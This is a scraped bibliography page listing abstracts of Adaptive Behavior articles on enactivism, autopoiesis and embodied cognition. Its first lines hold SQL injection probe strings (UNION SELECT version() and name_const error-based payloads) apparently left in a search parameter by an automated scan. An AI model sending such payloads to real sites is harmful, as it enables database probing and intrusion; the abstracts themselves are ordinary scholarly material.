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fulltext:maturana9999922unionselectunhex(hex(version()))--22x22=22x/
fulltext:maturanaor(1,2)=(selectfrom(selectname_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)--and1=1/
fulltext:maturanaand1=1/
fulltext:maturana999999.1unionselectunhex(hex(version()))--and1=1/
fulltext:maturana99999'unionselectunhex(hex(version()))--'x'='x/
fulltext:maturana99999"unionselectunhex(hex(version()))--"x"="x/
fulltext:maturana'or(1,2)=(selectfrom(selectname_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)--'x'='x/
fulltext:maturana"or(1,2)=(selectfrom(selectname_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)--"x"="x/
fulltext:maturana22or(1,2)=(selectfrom(selectname_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)--22x22=22x/
fulltext:maturana22 or (1,2)=(selectfrom(select name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a) -- 22x22=22x/
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Arango A. (2018) From sensorimotor dependencies to perceptual practices: Making enactivism social. Adaptive Behavior\>Adaptive Behavior 27(1): 31–45.
Arango A.
(
2018
)
From sensorimotor dependencies to perceptual practices: Making enactivism social.
Adaptive Behavior
27(1): 31–45.
Copy
Proponents of enactivism should be interested in exploring what notion of action best captures the type of action–perception link that the view proposes, such that it covers all the aspects in which our doings constitute and are constituted by our perceiving. This article proposes and defends the thesis that the notion of sensorimotor dependencies is insufficient to account for the reality of human perception and that the central enactive notion should be that of perceptual practices. Sensorimotor enactivism is insufficient because it has no traction on socially dependent perceptions (SDPs), which are essential to the role and significance of perception in our lives. Since the social dimension is a central desideratum in a theory of human perception, enactivism needs a notion that accounts for such an aspect. This article sketches the main features of the Wittgenstein-inspired notion of perceptual practices as the central notion to understand perception. Perception, I claim, is properly understood as woven into a type of social practices that includes food, dance, dress, and music. More specifically, perceptual practices are the enactment of culturally structured, normatively rich techniques of commerce of meaningful multi- and intermodal perceptible material. I argue that perceptual practices explain three central features of SDP: attentional focus, aspects’ salience, and modal-specific harmony-like relations.
Key words:
enactivism
,
perception
,
practices
,
culture
,
intersubjectivity
,
pragmatism
Arango A. (2019) Social enactivism about perception – reply to McGann. Adaptive Behavior\>Adaptive Behavior 27(2): 161–162.
Arango A.
(
2019
)
Social enactivism about perception – reply to McGann.
Adaptive Behavior
27(2): 161–162.
Copy
In his comment, McGann argues that in my “From Sensorimotor Dependencies to Perceptual Practices: Making Enactivism Social,” I have overlooked a group of enactivist theories that can be grouped under the participatory sense-making label. In this reply, I explain that the omission is due to the fact that such theories are not accounts of perception. It is argued that, unlike participatory sense-making, the approach of the “From Sensorimotor Dependencies to Perceptual Practices” article does not focus on the perceptual aspects of things social, but on the social aspects that are constitutive of perception in general. I conclude by underscoring the central argument of the original article: that the adequate notion to make enactivism about perception social is that of “perceptual practices,” a social practices-based notion of perception.
Key words:
enactivism
,
perception
,
sociality
,
practices
,
intersubjectivity
,
culture
Ataria Y. (2015) Trauma from an enactive perspective: The collapse of the knowing-how structure. Adaptive Behavior\>Adaptive Behavior 23(3): 143–154.
Ataria Y.
(
2015
)
Trauma from an enactive perspective: The collapse of the knowing-how structure.
Adaptive Behavior
23(3): 143–154.
Copy
At present, due in part to our insufficient understanding of the traumatic experience, we are unable to account for the fact that while some people develop post-traumatic symptoms following a traumatic event, others do not. This article suggests that by adopting the enactive approach to perception – according to which perceiving is a way of acting – we may be able to improve our understanding of the traumatic experience and the factors which result in the development of post-traumatic symptoms. The central argument presented in this paper is that when the options of flight or fight are unavailable as a coping/defense mechanism, one freezes (freeze response). In this situation, the ability to master one’s movements is damaged and, in radical cases, the ability to move is lost altogether; as a result the sensorimotor loop may collapse. This, in turn, leads to distorted perception and, in consequence, memory disorders may develop.
Key words:
trauma
,
ptsd
,
enactivism
,
knowing-how
,
freeze response
,
dissociation
Barandiaran X. & Moreno A. (2006) On what makes certain dynamical systems cognitive: A minimally cognitive organization program. Adaptive Behavior\>Adaptive Behavior 14(2): 171–185. Fulltext at https://cepa.info/4513
Barandiaran X.
&
Moreno A.
(
2006
)
On what makes certain dynamical systems cognitive: A minimally cognitive organization program.
Adaptive Behavior
14(2): 171–185.
Fulltext at https://cepa.info/4513
Copy
Dynamicism has provided cognitive science with important tools to understand some aspects of “how cognitive agents work” but the issue of “what makes something cognitive” has not been sufficiently addressed yet and, we argue, the former will never be complete without the latter. Behavioristic characterizations of cognitive properties are criticized in favor of an organizational approach focused on the internal dynamic relationships that constitute cognitive systems. A definition of cognition as adaptive-autonomy in the embodied and situated neurodynamic domain is provided: the compensatory regulation of a web of stability dependencies between sensorimotor structures is created and pre served during a historical/developmental process. We highlight the functional role of emotional embodiment: internal bioregulatory processes coupled to the formation and adaptive regulation of neurodynamic autonomy. Finally, we discuss a “minimally cognitive behavior program” in evolutionary simulation modeling suggesting that much is to be learned from a complementary “minimally cognitive organization program”
Key words:
minimal cognition
,
adaptive autonomy
,
neurodynamic organization
,
cognition-as-it-could-be
,
emotional embodiment
Barandiaran X. & Moreno A. (2008) Adaptivity: From metabolism to behavior. Adaptive Behavior\>Adaptive Behavior 16(5): 325–344. Fulltext at https://cepa.info/4514
Barandiaran X.
&
Moreno A.
(
2008
)
Adaptivity: From metabolism to behavior.
Adaptive Behavior
16(5): 325–344.
Fulltext at https://cepa.info/4514
Copy
In this article, we propose some fundamental requirements for the appearance of adaptivity. We argue that a basic metabolic organization, taken in its minimal sense, may provide the conceptual framework for naturalizing the origin of teleology and normative functionality as it appears in living systems. However, adaptivity also requires the emergence of a regulatory subsystem, which implies a certain form of dynamic decoupling within a globally integrated, autonomous system. Thus, we analyze several forms of minimal adaptivity, including the special case of motility. We go on to explain how an open-ended complexity growth of motility-based adaptive agency, namely, behavior, requires the appearance of the nervous system. Finally, we discuss some implications of these ideas for embodied robotics.
Key words:
naturalist approach to normativity
,
autonomous systems
,
adaptivity
,
minimal agency
,
decoupling of the nervous system
,
definition of adaptive behavior
Barrett N. F. (2015) Enactive theory and the problem of non-sense. Adaptive Behavior\>Adaptive Behavior 23(4): 234–240. Fulltext at https://cepa.info/2472
Barrett N. F.
(
2015
)
Enactive theory and the problem of non-sense.
Adaptive Behavior
23(4): 234–240.
Fulltext at https://cepa.info/2472
Copy
Review of: Massimiliano Cappuccio and Tom Froese (eds.) Enactive cognition at the edge of sense-making: Making sense of non-sense. PalgraveMacmillan: Basingstoke, UK, 2014
Beer R. (2003) The dynamics of active categorical perception in an evolved model agent. Adaptive Behavior\>Adaptive Behavior 11(4): 209–243. Fulltext at https://cepa.info/5188
Beer R.
(
2003
)
The dynamics of active categorical perception in an evolved model agent.
Adaptive Behavior
11(4): 209–243.
Fulltext at https://cepa.info/5188
Copy
Notions of embodiment, situatedness, and dynamics are increasingly being debated in cognitive sci ence. However, these debates are often carried out in the absence of concrete examples. In order to build intuition, this paper explores a model agent to illustrate how the perspective and tools of dynam ical systems theory can be applied to the analysis of situated, embodied agents capable of minimally cognitive behavior. Specifically, we study a model agent whose “nervous system” was evolved using a genetic algorithm to catch circular objects and to avoid diamond-shaped ones. After characterizing the performance, behavioral strategy and psychophysics of the best-evolved agent, its dynamics are analyzed in some detail at three different levels: (1) the entire coupled brain/body/environment sys tem; (2) the interaction between agent and environment that generates the observed coupled dynam ics; (3) the underlying neuronal properties responsible for the agent dynamics. This analysis offers both explanatory insight and testable predictions. The paper concludes with discussions of the overall picture that emerges from this analysis, the challenges this picture poses to traditional notions of rep resentation, and the utility of a research methodology involving the analysis of simpler idealized mod els of complete brain/body/environment systems.
Key words:
dynamics
,
minimally-cognitive behavior
,
categorical perception
Beer R. D. (2019) Bittorio revisited: Structural coupling in the Game of Life. Adaptive Behavior\>Adaptive Behavior 1059712319859907.
Beer R. D.
(
2019
)
Bittorio revisited: Structural coupling in the Game of Life.
Adaptive Behavior
1059712319859907.
Copy
The notion of structural coupling plays a central role in Maturana and Varela’s biology of cognition framework and strongly influenced Varela’s subsequent enactive elaboration of this framework. Building upon previous work using a glider in the Game of Life (GoL) cellular automaton as a toy model of a minimal autopoietic system with which to concretely explore these theoretical frameworks, this article presents an analysis of structural coupling between a glider and its environment. Specifically, for sufficiently small GoL universes, we completely characterize the nonautonomous dynamics of both a glider and its environment in terms of interaction graphs, derive the set of possible glider lives determined by the mutual constraints between these interaction graphs, and show how such lives are embedded in the state transition graph of the entire GoL universe.
Key words:
autopoiesis
,
enaction
,
structural coupling
,
cellular automata
,
enactivism
Briedis M. (2019) Phenomenological ethnography can lead to the improvement of radiology diagnostics. Adaptive Behavior\>Adaptive Behavior Online first.
Briedis M.
(
2019
)
Phenomenological ethnography can lead to the improvement of radiology diagnostics.
Adaptive Behavior
Online first.
Copy
This opinion piece presents insights derived from research conducted in a radiology department in the United States. For several weeks I followed the head of department while making notes and occasionally discussing them with him. The main objective of this research visit was to study strategies of embodied cognition and the intersubjective ground for individual intentions in the process of image-based diagnosis in order to reveal the essential regularities and personalizations of diagnostic practices as performed by radiologists. I argue that my observation reveals how at least certain aspects of the diagnostic cognition focused on medical imaging are structured and may be improved.
Key words:
phenomenology
,
ethnography
,
radiology
,
embodied cognition
,
enactivism
,
intersubjectivity
Cowley S. & Nash L. (2013) Language, interactivity and solution probing: Repetition without repetition. Adaptive Behavior\>Adaptive Behavior 21(3): 187–198.
Cowley S.
&
Nash L.
(
2013
)
Language, interactivity and solution probing: Repetition without repetition.
Adaptive Behavior
21(3): 187–198.
Copy
Recognition of the importance of autopoiesis to biological systems was crucial in building an alternative to the classic view of cognitive science. However, concepts like structural coupling and autonomy are not strong enough to throw light on language and human problem solving. The argument is presented though a case study where a person solves a problem and, in so doing relies on non-local aspects of the ecology as well as his observer’s mental domain. Like Anthony Chemero we make links with ecological psychology to emphasize how embodiment draws on cultural resources as people concert thinking, action and perception. We trace this to human interactivity or sense-saturated coordination that renders possible language and human forms of cognition: it links human sense-making to historical experience. People play roles with natural and cultural artifacts as they act, animate groups and live through relationships drawing on language that is, at once, artificial and natural. Thus, while constrained by wordings, interactivity is able to fine-tune what we do with action-perception loops. Neither language nor human problem solving reduce to biological sense-making.
Key words:
enactivism
,
ecological psychology
,
distributed cognition
,
distributed language
,
problem solving
,
sense-making
,
interactivity
,
organism–environment system
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